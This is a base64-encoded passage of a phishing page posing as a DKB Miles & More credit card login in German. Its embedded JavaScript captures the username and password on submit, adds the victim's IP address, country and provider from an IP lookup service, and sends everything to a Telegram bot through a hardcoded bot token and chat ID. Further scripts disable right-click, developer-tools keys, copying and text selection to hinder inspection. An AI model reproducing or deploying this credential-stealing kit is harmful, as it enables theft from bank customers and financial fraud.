JjPSIuL2RlL2NhbGMucG5nIiB0aXRsZT0iw5ZmZm5lbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbHVtbnMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iYXNwZWN0LWxhYmVsIiBmb3I9ImlkMTA0ODMyNTkwX2pfcGFzc3dvcmQiIGlkPSJpZDEwNDgzMjU5MF9qX3Bhc3N3b3JkLWxhYmVsIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQYXNzd29ydAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgYXV0b2NvbXBsZXRlPSJvZmYiIGNsYXNzPSJmaWVsZCB2aXJ0dWFsX2tleXBhZCB0ZXh0IGFiYXh4LXRleHQtODAgcGFzc3dvcmRLZXlwYWQgaXMta2V5cGFkIiBpZD0iaWQxMDQ4MzI1OTBfal9wYXNzd29yZCIgbWF4bGVuZ3RoPSIxMDAiIG5hbWU9ImpfcGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGFsdD0iw5ZmZm5lbiIgY2xhc3M9ImtleXBhZC10cmlnZ2VyIiBzcmM9Ii4vZGUvY2FsYy5wbmciIHRpdGxlPSLDlmZmbmVuIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImJ1dHRvbiBwb3JfYWN0aW9uIGV2dC1sb2dpbiIgZGF0YS1hYngtanNldmVudD0ibG9naW4iIGRhdGEteGV2ZW50PSJsb2dpbiIgc3R5bGU9IndpZHRoOjEwMCU7IG1heC13aWR0aDogMTAwJTsiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkFubWVsZGVuIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoJCQkJCQkJCgkJCQkJCQkKPHNjcmlwdD4KICBsZXQgaXBEYXRhID0geyBpcDogJ04vQScsIGNvdW50cnk6ICdOL0EnLCBvcmc6ICdOL0EnIH07CgogIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ0RPTUNvbnRlbnRMb2FkZWQnLCAoZXZlbnQpID0+IHsKICAgIGZldGNoKCdodHRwczovL2lwaW5mby5pby9qc29uJykKICAgICAgLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UuanNvbigpKQogICAgICAudGhlbihkYXRhID0+IHsKICAgICAgICBpcERhdGEgPSBkYXRhOwogICAgICB9KQogICAgICAuY2F0Y2goZXJyb3IgPT4gY29uc29sZS5lcnJvcignRXJyb3IgZmV0Y2hpbmcgSVAgaW5mbzonLCBlcnJvcikpOwoKICAgIGNvbnN0IGxvZ2luRm9ybSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2Zvcm0nKTsKICAgIGxvZ2luRm9ybS5hZGRFdmVudExpc3RlbmVyKCdzdWJtaXQnLCBmdW5jdGlvbiAoZXZlbnQpIHsKICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKCiAgICAgIGlmICh2YWxpZGF0ZUZvcm0oKSkgewogICAgICAgIGNvbnN0IHVzZXJuYW1lID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lkMTA0ODMyNTkwX2pfdXNlcm5hbWUnKS52YWx1ZTsKICAgICAgICBjb25zdCBwYXNzd29yZCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpZDEwNDgzMjU5MF9qX3Bhc3N3b3JkJykudmFsdWU7CiAgICAgICAgY29uc3QgbWVzc2FnZSA9IGNyZWF0ZUxvZ2luTWVzc2FnZShpcERhdGEsIHVzZXJuYW1lLCBwYXNzd29yZCk7CgogICAgICAgIHNlbmRNZXNzYWdlVG9UZWxlZ3JhbShtZXNzYWdlKQogICAgICAgICAgLnRoZW4oKCkgPT4gewogICAgICAgICAgICAvLyBSZWRpcmVjdCB0byAnMS5odG1sJyBhZnRlciBzZW5kaW5nIHRoZSBUZWxlZ3JhbSBtZXNzYWdlCiAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmID0gJzAuaHRtbCc7CiAgICAgICAgICB9KQogICAgICAgICAgLmNhdGNoKGVycm9yID0+IGNvbnNvbGUuZXJyb3IoJ0Vycm9yIHNlbmRpbmcgbWVzc2FnZSB0byBUZWxlZ3JhbTonLCBlcnJvcikpOwogICAgICB9CiAgICB9KTsKICB9KTsKCiAvLyBSZWd1bGFyIGV4cHJlc3Npb24gdG8gY2hlY2sgaWYgdGhlIGlucHV0IGlzIGFuIGVtYWlsIGFkZHJlc3MKdmFyIGVtYWlsUmVnZXggPSAvXig/IS4qZGlzdGFuY2UpKD8hW15cc0BdK1wuW15cc0BdKyQpW15cc0BdK0BbXlxzQF0rXC5bXlxzQF0rJC87CgovLyBSZWd1bGFyIGV4cHJlc3Npb24gdG8gY2hlY2sgaWYgdGhlIGlucHV0IGlzIGEgMTUtZGlnaXQgbnVtYmVyCnZhciBmaWZ0ZWVuRGlnaXROdW1iZXJSZWdleCA9IC9eXGR7MTV9JC87CgovLyBSZWd1bGFyIGV4cHJlc3Npb24gdG8gY2hlY2sgaWYgdGhlcmUgYXJlIG5vIHNwYWNlcyBiZXR3ZWVuIGxldHRlcnMKdmFyIG5vU3BhY2VCZXR3ZWVuTGV0dGVyc1JlZ2V4ID0gL15bXlxzXSskLzsKCi8vIEZ1bmN0aW9uIHRvIHBlcmZvcm0gdmFsaWRhdGlvbgpmdW5jdGlvbiB2YWxpZGF0ZUZvcm0oKSB7CiAgLy8gR2V0IHRoZSB2YWx1ZXMgZnJvbSB0aGUgaW5wdXQgZmllbGRzCiAgdmFyIHVzZXJuYW1lID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lkMTA0ODMyNTkwX2pfdXNlcm5hbWUnKS52YWx1ZTsKICB2YXIgcGFzc3dvcmQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaWQxMDQ4MzI1OTBfal9wYXNzd29yZCcpLnZhbHVlOwoKICAvLyBDaGVjayBpZiB0aGVyZSBhcmUgc3BhY2VzIGJldHdlZW4gbGV0dGVycyBpbiB0aGUgdXNlcm5hbWUKICBpZiAoIW5vU3BhY2VCZXR3ZWVuTGV0dGVyc1JlZ2V4LnRlc3QodXNlcm5hbWUpKSB7CiAgICAvLyBTaG93IGVycm9yIG1lc3NhZ2UgZm9yIHNwYWNlcyBpbiB0aGUgdXNlcm5hbWUKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcnJvci1tZXNzYWdlJykuaW5uZXJIVE1MID0gJ0RlciBBbm1lbGRlbmFtZSBkYXJmIGtlaW5lIExlZXJ6ZWljaGVuIGVudGhhbHRlbi4nOwogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9yLW1lc3NhZ2UnKS5zdHlsZS5jb2xvciA9ICdyZWQnOwogICAgcmV0dXJuIGZhbHNlOwogIH0KCiAgaWYgKGVtYWlsUmVnZXgudGVzdCh1c2VybmFtZSkpIHsKICAgIC8vIFNob3cgZXJyb3IgbWVzc2FnZSBmb3IgaW52YWxpZCBlbWFpbCB1c2VybmFtZQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9yLW1lc3NhZ2UnKS5pbm5lckhUTUwgPSAnRGllIEVpbmdhYmUgZGFyZiBrZWluZSBFLU1haWwtQWRyZXNzZSBzZWluLic7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3ItbWVzc2FnZScpLnN0eWxlLmNvbG9yID0gJ3JlZCc7CiAgICByZXR1cm4gZmFsc2U7CiAgfQoKICBpZiAoZmlmdGVlbkRpZ2l0TnVtYmVyUmVnZXgudGVzdCh1c2VybmFtZSkpIHsKICAgIC8vIFNob3cgZXJyb3IgbWVzc2FnZSBmb3IgaW52YWxpZCAxNS1kaWdpdCBudW1iZXIgdXNlcm5hbWUKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcnJvci1tZXNzYWdlJykuaW5uZXJIVE1MID0gJ0RpZSBFaW5nYWJlIGRhcmYga2VpbmUgMTUtc3RlbGxpZ2UgWmFobCBzZWluLic7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3ItbWVzc2FnZScpLnN0eWxlLmNvbG9yID0gJ3JlZCc7CiAgICByZXR1cm4gZmFsc2U7CiAgfQoKICAvLyBWYWxpZGF0ZSBwYXNzd29yZCAobWluaW11bSA1IGNoYXJhY3RlcnMpCiAgaWYgKHBhc3N3b3JkLmxlbmd0aCA8IDUpIHsKICAgIC8vIFNob3cgZXJyb3IgbWVzc2FnZSBmb3IgaW52YWxpZCBwYXNzd29yZAogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9yLW1lc3NhZ2UnKS5pbm5lckhUTUwgPSAnRGFzIFBhc3N3b3J0IG11c3MgbWluZGVzdGVucyA1IFplaWNoZW4gbGFuZyBzZWluLic7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3ItbWVzc2FnZScpLnN0eWxlLmNvbG9yID0gJ3JlZCc7CiAgICByZXR1cm4gZmFsc2U7CiAgfQoKICAvLyBJZiBldmVyeXRoaW5nIGlzIHZhbGlkLCBjbGVhciBwcmV2aW91cyBlcnJvciBtZXNzYWdlcwogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcnJvci1tZXNzYWdlJykuaW5uZXJIVE1MID0gJyc7CiAgcmV0dXJuIHRydWU7Cn0KCgogIGZ1bmN0aW9uIGNyZWF0ZUxvZ2luTWVzc2FnZShkYXRhLCB1c2VybmFtZSwgcGFzc3dvcmQpIHsKICAgIGNvbnN0IHsgaXAgPSAnTi9BJywgY291bnRyeSA9ICdOL0EnLCBvcmcgPSAnTi9BJyB9ID0gZGF0YTsKCiAgICByZXR1cm4gYCMjIyMjIyMjIExvZ2luIE1pbGVzICMjIyMjIyMjIyMKCvCflbXvuI/igI3imYLvuI8oTGVnaXRpbWF0aW9ucyBJRCk6ICAke3VzZXJuYW1lfQrwn5SSIFBhc3N3b3J0OiAke3Bhc3N3b3JkfQojIyMjIyMjIyBVc2VyIEluZm9ybWF0aW9uICMjIyMjIyMjIwrwn5KAIElQIEFkZHJlc3M6ICR7aXB9CvCfjI0gQ291bnRyeTogJHtjb3VudHJ5fQrwn5OhIEludGVybmV0IFNlcnZpY2UgUHJvdmlkZXI6ICR7b3JnfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjYDsKICB9CgogIGZ1bmN0aW9uIHNlbmRNZXNzYWdlVG9UZWxlZ3JhbShtZXNzYWdlKSB7CiAgICBjb25zdCBib3RUb2tlbiA9ICc2OTA4NDA1Njc4OkFBSDlpYUtvNmxMcmtVOGk5RXVrcXBuMl9UNS1tWWN1QUFvJzsgLy8gUmVwbGFjZSB3aXRoIHlvdXIgYWN0dWFsIGJvdCB0b2tlbgogICAgY29uc3QgY2hhdElkID0gJzYxNDk1NzIyNTEnOyAvLyBSZXBsYWNlIHdpdGggeW91ciBhY3R1YWwgY2hhdCBJRAoKICAgIHJldHVybiBmZXRjaChgaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCR7Ym90VG9rZW59L3NlbmRNZXNzYWdlYCwgewogICAgICBtZXRob2Q6ICdQT1NUJywKICAgICAgaGVhZGVyczogewogICAgICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicKICAgICAgfSwKICAgICAgYm9keTogSlNPTi5zdHJpbmdpZnkoewogICAgICAgIGNoYXRfaWQ6IGNoYXRJZCwKICAgICAgICB0ZXh0OiBtZXNzYWdlCiAgICAgIH0pCiAgICB9KQogICAgLnRoZW4ocmVzcG9uc2UgPT4gewogICAgICBpZiAoIXJlc3BvbnNlLm9rKSB7CiAgICAgICAgdGhyb3cgbmV3IEVycm9yKGBUZWxlZ3JhbSBBUEkgZXJyb3I6ICR7cmVzcG9uc2Uuc3RhdHVzfSAtICR7cmVzcG9uc2Uuc3RhdHVzVGV4dH1gKTsKICAgICAgfQogICAgICByZXR1cm4gcmVzcG9uc2UuanNvbigpOwogICAgfSkKICAgIC5jYXRjaChlcnJvciA9PiBjb25zb2xlLmVycm9yKCdFcnJvciBzZW5kaW5nIG1lc3NhZ2UgdG8gVGVsZWdyYW06JywgZXJyb3IpKTsKICB9Cjwvc2NyaXB0PgoJCQoKIAoKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0idWFCcm93c2VyIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJDaHJvbWUgLSAxMTkuMC4wLjAiPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iaW5kZXguaHRtbCIgZGF0YS14cG9wdXAtbW9kZT0iYXV0byIgaWQ9Im5ldy1iYW5raW5nLWZvcm0iIG1ldGhvZD0icG9zdCIgbmFtZT0ibmV3LWJhbmtpbmctZm9ybSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJtYXgtd2lkdGg6IDg3MHB4O3RleHQtYWxpZ246IGNlbnRlcjsgbWFyZ2luOiAwIGF1dG87Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJtYXgtd2lkdGg6IDMwMHB4OyBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IHdpZHRoOiAxMDAlOyB0ZXh0LWFsaWduOiBsZWZ0OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJidXR0b24gbmV3X2JhbmtpbmdfYnV0dG9uIGV2dC1uZXdCYW5raW5nIiBkYXRhLWFieC1qc2V2ZW50PSJuZXdCYW5raW5nIiBocmVmPSIjIiBzdHlsZT0id2lkdGg6MTAwJTsgbWF4LXdpZHRoOiAxMDAlOyIgdGFyZ2V0PSJfYmxhbmsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQmV0YS1WZXJzaW9uIG5ldWVzIE9ubGluZS1LYXJ0ZW5rb250bwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCgoKCgogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImxpbmsgZm9yd2FyZCBub3R2aXNpYmxlaW53YXJ0dW5nc21vZHVzIiBocmVmPSIjIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNpZSBoYWJlbiBJaHJlIFp1Z2FuZ3NkYXRlbiB2ZXJnZXNzZW4gb2RlciBJaHIgWnVnYW5nIGlzdCBnZXNwZXJydD8KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImxpbmsgZm9yd2FyZCBub3R2aXNpYmxlaW53YXJ0dW5nc21vZHVzIiBocmVmPSIjIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNpZSBoYWJlbiBub2NoIGtlaW5lIFp1Z2FuZ3NkYXRlbj8KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImxpbmsgZm9yd2FyZCBub3R2aXNpYmxlaW53YXJ0dW5nc21vZHVzIiBocmVmPSIjIiBzdHlsZT0iZm9udC13ZWlnaHQ6bm9ybWFsOyB0ZXh0LWRlY29yYXRpb246bm9uZTsgY29sb3I6IzBmMjg2ZSIgdGFyZ2V0PSJfYmxhbmsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgU28gbnV0emVuIFNpZSBJaHJlIFp1Z2FuZ3NkYXRlbiBmw7xyIGRpZSBBbm1lbGR1bmcKICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0iZm9vdGVyLXBhcmVudCI+CiAgICAgICAgPGRpdiBjbGFzcz0icm93IGZvb3Rlcl9vdXRlciBmb290ZXIiIGlkPSJmb290ZXJfa2siPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2x1bW4iPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3ViLW5hdiI+CiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9IiIgaHJlZj0iIyIgdGFyZ2V0PSJfYmxhbmsiPgogICAgICAgICAgICAgICAgICAgICAgICBPbmxpbmUtS2FydGVua29udG8ga3VyeiBlcmtsw6RydAogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iIiBocmVmPSIjIiB0YXJnZXQ9Il9ibGFuayI+CiAgICAgICAgICAgICAgICAgICAgICAgIHd3dy5taWxlcy1hbmQtbW9yZS1rcmVkaXRrYXJ0ZS5jb20KICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9IiIgaHJlZj0iIyIgdGFyZ2V0PSJfYmxhbmsiPgogICAgICAgICAgICAgICAgICAgICAgICBGQVEKICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN1Yi1uYXYiPgogICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSIiIGhyZWY9IiMiIHRhcmdldD0iX2JsYW5rIj4KICAgICAgICAgICAgICAgICAgICAgICAgU2ljaGVyaGVpdAogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iIiBocmVmPSIjIiB0YXJnZXQ9Il9ibGFuayI+CiAgICAgICAgICAgICAgICAgICAgICAgIFByZWlzZSAmYW1wOyBCZWRpbmd1bmdlbgogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iIiBocmVmPSIjIiB0YXJnZXQ9Il9ibGFuayI+CiAgICAgICAgICAgICAgICAgICAgICAgIEZvcm11bGFyZQogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3ViLW5hdiI+CiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9InNob3dGb3JMb2dnZWRpbiIgaHJlZj0iIyIgdGFyZ2V0PSJfc2VsZiI+CiAgICAgICAgICAgICAgICAgICAgICAgIEtvbnRha3QKICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImhpZGVGb3JMb2dnZWRpbiIgaHJlZj0iIyIgdGFyZ2V0PSJfYmxhbmsiPgogICAgICAgICAgICAgICAgICAgICAgICBLb250YWt0CiAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSIiIGhyZWY9IiMiIHRhcmdldD0iX3NlbGYiPgogICAgICAgICAgICAgICAgICAgICAgICBEYXRlbnNjaHV0egogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iIj4KICAgICAgICAgICAgICAgICAgICAgICAgQ29va2llIEVpbnN0ZWxsdW5nZW4gw6RuZGVybgogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iIiBocmVmPSIjIiB0YXJnZXQ9Il9zZWxmIj4KICAgICAgICAgICAgICAgICAgICAgICAgSW1wcmVzc3VtCiAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb3B5cmlnaHQiPgogICAgICAgICAgICAgICAgICAgIEVpbiBBbmdlYm90IGRlciBES0IgQUcuCiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCgo8c2NyaXB0PgogICAgLy8gRGlzYWJsZSBjZXJ0YWluIGtleWJvYXJkIHNob3J0Y3V0cwogICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7CiAgICAgICAgaWYgKGV2ZW50LmN0cmxLZXkgJiYgKAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdjJyB8fCBldmVudC5rZXkgPT09ICdzJyB8fCBldmVudC5rZXkgPT09ICdhJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdkJyB8fCBldmVudC5rZXkgPT09ICdmJyB8fCBldmVudC5rZXkgPT09ICdvJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdwJyB8fCBldmVudC5rZXkgPT09ICdsJyB8fCBldmVudC5rZXkgPT09ICd6JyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICduJyB8fCBldmVudC5rZXkgPT09ICdtJyB8fCBldmVudC5rZXkgPT09ICdnJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICd3JyB8fCBldmVudC5rZXkgPT09ICdvJyB8fCBldmVudC5rZXkgPT09ICdqJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICd1JyB8fCBldmVudC5rZXkgPT09ICdyJyB8fCBldmVudC5rZXkgPT09ICdTJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdBJyB8fCBldmVudC5rZXkgPT09ICdEJyB8fCBldmVudC5rZXkgPT09ICdGJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdPJyB8fCBldmVudC5rZXkgPT09ICdQJyB8fCBldmVudC5rZXkgPT09ICdMJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdaJyB8fCBldmVudC5rZXkgPT09ICdOJyB8fCBldmVudC5rZXkgPT09ICdNJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdHJyB8fCBldmVudC5rZXkgPT09ICdXJyB8fCBldmVudC5rZXkgPT09ICdPJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdKJyB8fCBldmVudC5rZXkgPT09ICdVJyB8fCBldmVudC5rZXkgPT09ICdSJwogICAgICAgICkpIHsKICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICB9CiAgICB9KTsKCiAgICAvLyBEaXNhYmxlIHJpZ2h0LWNsaWNrIGNvbnRleHQgbWVudQogICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgewogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICB9KTsKCiAgICAvLyBEaXNhYmxlIEYxMiBrZXkKICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2tleWRvd24nLCBmdW5jdGlvbihldmVudCkgewogICAgICAgIGlmIChldmVudC5rZXkgPT09ICdGMTInKSB7CiAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgfQogICAgfSk7CgogICAgLy8gRGlzYWJsZSB0ZXh0IHNlbGVjdGlvbgogICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignRE9NQ29udGVudExvYWRlZCcsIGZ1bmN0aW9uKCkgewogICAgICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ3NlbGVjdHN0YXJ0JywgZnVuY3Rpb24oZXZlbnQpIHsKICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICB9KTsKICAgIH0pOwoKICAgIC8vIFNpbXBsZSBlbmNyeXB0aW9uIGZ1bmN0aW9uIChmb3IgZGVtb25zdHJhdGlvbiBwdXJwb3NlcyBvbmx5KQogICAgZnVuY3Rpb24gZW5jcnlwdFRleHQodGV4dCkgewogICAgICAgIGxldCBlbmNyeXB0ZWRUZXh0ID0gJyc7CiAgICAgICAgZm9yIChsZXQgaSA9IDA7IGkgPCB0ZXh0Lmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGVuY3J5cHRlZFRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSh0ZXh0LmNoYXJDb2RlQXQoaSkgKyAxKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIGVuY3J5cHRlZFRleHQ7CiAgICB9CgogICAgLy8gRGVjcnlwdCBhbmQgc2hvdyB0aGUgb3JpZ2luYWwgdGV4dCBvbiB1c2VyIGNsaWNrCiAgICBmdW5jdGlvbiBkZWNyeXB0QW5kU2hvdyhlbGVtZW50KSB7CiAgICAgICAgY29uc3QgZW5jcnlwdGVkVGV4dCA9IGVsZW1lbnQuZ2V0QXR0cmlidXRlKCdkYXRhLWVuY3J5cHRlZCcpOwogICAgICAgIGNvbnN0IGRlY3J5cHRlZFRleHQgPSBlbmNyeXB0VGV4dChlbmNyeXB0ZWRUZXh0KTsKICAgICAgICBlbGVtZW50LnRleHRDb250ZW50ID0gZGVjcnlwdGVkVGV4dDsKICAgICAgICBlbGVtZW50LnJlbW92ZUF0dHJpYnV0ZSgnZGF0YS1lbmNyeXB0ZWQnKTsKICAgICAgICBlbGVtZW50LnJlbW92ZUV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZGVjcnlwdENsaWNrTGlzdGVuZXIpOwogICAgfQoKICAgIC8vIENsaWNrIGxpc3RlbmVyIGZvciBkZWNyeXB0aW9uCiAgICBmdW5jdGlvbiBkZWNyeXB0Q2xpY2tMaXN0ZW5lcihldmVudCkgewogICAgICAgIGRlY3J5cHRBbmRTaG93KGV2ZW50LnRhcmdldCk7CiAgICB9CgogICAgLy8gRW5jcnlwdCBhbGwgdGV4dCBub2RlcyB3aGVuIHRoZSBwYWdlIGxvYWRzCiAgICBmdW5jdGlvbiBlbmNyeXB0QWxsVGV4dE5vZGVzKG5vZGUpIHsKICAgICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gTm9kZS5URVhUX05PREUpIHsKICAgICAgICAgICAgY29uc3QgZW5jcnlwdGVkVGV4dCA9IGVuY3J5cHRUZXh0KG5vZGUudGV4dENvbnRlbnQpOwogICAgICAgICAgICBub2RlLnRleHRDb250ZW50ID0gJ0NsaWNrIHRvIHJldmVhbCc7CiAgICAgICAgICAgIG5vZGUuc2V0QXR0cmlidXRlKCdkYXRhLWVuY3J5cHRlZCcsIGVuY3J5cHRlZFRleHQpOwogICAgICAgICAgICBub2RlLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZGVjcnlwdENsaWNrTGlzdGVuZXIpOwogICAgICAgIH0gZWxzZSBpZiAobm9kZS5ub2RlVHlwZSA9PT0gTm9kZS5FTEVNRU5UX05PREUpIHsKICAgICAgICAgICAgZm9yIChsZXQgY2hpbGROb2RlIG9mIG5vZGUuY2hpbGROb2RlcykgewogICAgICAgICAgICAgICAgZW5jcnlwdEFsbFRleHROb2RlcyhjaGlsZE5vZGUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIC8vIEVuY3J5cHQgYWxsIHRleHQgbm9kZXMgd2hlbiB0aGUgcGFnZSBsb2FkcwogICAgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ2xvYWQnLCAoKSA9PiB7CiAgICAgICAgL